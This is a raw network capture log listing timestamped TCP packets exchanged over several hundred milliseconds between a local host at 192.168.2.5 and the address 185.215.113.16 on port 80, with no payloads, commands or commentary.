Oct 28, 2024 20:50:25.640063047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640078068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640111923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640192986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640208006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640223980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640227079 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640240908 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640258074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640259027 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640275002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640307903 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640441895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640459061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640475988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640476942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640492916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640510082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640511990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640527010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640547037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640551090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640566111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.640598059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.651819944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.684799910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.684842110 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.684848070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.717175007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.755078077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755120993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755182981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755203962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.755212069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755264997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755269051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.755300999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755356073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.755409956 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756252050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756294012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756391048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756443977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756479025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756514072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756524086 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756557941 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756566048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756594896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756650925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756685019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756696939 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756726980 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756732941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756774902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756808996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756843090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756850958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756876945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756885052 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.756911993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756944895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756978989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.756990910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757019043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757165909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757216930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757251978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757282972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757292032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757317066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757335901 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757353067 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757401943 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757466078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757502079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757536888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757546902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757580996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757632971 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757867098 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757915020 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757949114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.757986069 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.757999897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758034945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758044958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758069992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758105040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758128881 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758136034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758184910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758189917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758223057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758256912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758261919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758291006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758325100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758357048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758368015 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758399010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758408070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758443117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758477926 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758488894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758508921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758549929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758557081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758590937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758622885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758640051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758657932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758788109 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758791924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758826971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758857965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758873940 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758893013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758924961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.758945942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.758975029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759008884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759042978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759046078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759077072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759089947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759111881 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759144068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759146929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759192944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759270906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759293079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759366035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759401083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759429932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759434938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759469986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759474993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759506941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759613991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759677887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759730101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759763956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759778023 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759798050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759831905 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759831905 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759865999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759901047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.759901047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.759936094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760071993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.760277033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760327101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760360956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760394096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.760395050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760431051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.760436058 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.785852909 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.847103119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.847141027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.847203970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.872256994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872311115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872348070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872386932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872421026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872445107 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.872458935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.872509956 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.873759985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.873817921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.873869896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.873903990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.873936892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.873960972 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.873971939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874006033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874039888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874057055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874074936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874085903 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874110937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874248028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874291897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874317884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874352932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874372005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874404907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874439955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874449015 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874475002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874511957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874525070 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874546051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874581099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874619007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874633074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874666929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874701977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874716997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874754906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874771118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874821901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874855042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874890089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874922991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874928951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874949932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.874957085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.874989986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875021935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875025988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875061035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875107050 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875340939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875395060 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875435114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875488043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875521898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875549078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875556946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875591040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875624895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875641108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875658035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875693083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875695944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875727892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875741005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875762939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875797987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875807047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875833035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875881910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.875888109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875943899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.875994921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876028061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876044035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876072884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876082897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876132011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876164913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876197100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876214027 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876231909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876264095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876272917 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876296997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876311064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876332998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876368999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876382113 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876400948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876436949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876461029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876468897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876504898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876524925 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876555920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876593113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876625061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876641989 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876667976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876673937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876708031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876740932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876768112 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876777887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876811981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876842976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876863003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876913071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876948118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.876962900 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.876981974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877007961 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877016068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877048016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877073050 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877083063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877115965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877151012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877161026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877203941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877238989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877240896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877273083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877307892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877340078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877341032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877371073 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.877374887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.877418995 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.989056110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989115000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989145994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989212036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989247084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989250898 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.989279985 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.989284039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989319086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989331961 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.989353895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.989398003 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.990614891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990688086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990740061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990772009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990787983 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.990818977 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.990824938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990858078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990909100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990941048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990958929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.990977049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.990988016 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991009951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991044998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991066933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991077900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991120100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991127968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991161108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991194010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991214991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991226912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991261005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991261959 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991293907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.991332054 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.991353989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992377043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992405891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992438078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.992460012 CET	52257	80	192.168.2.5	185.215.113.16
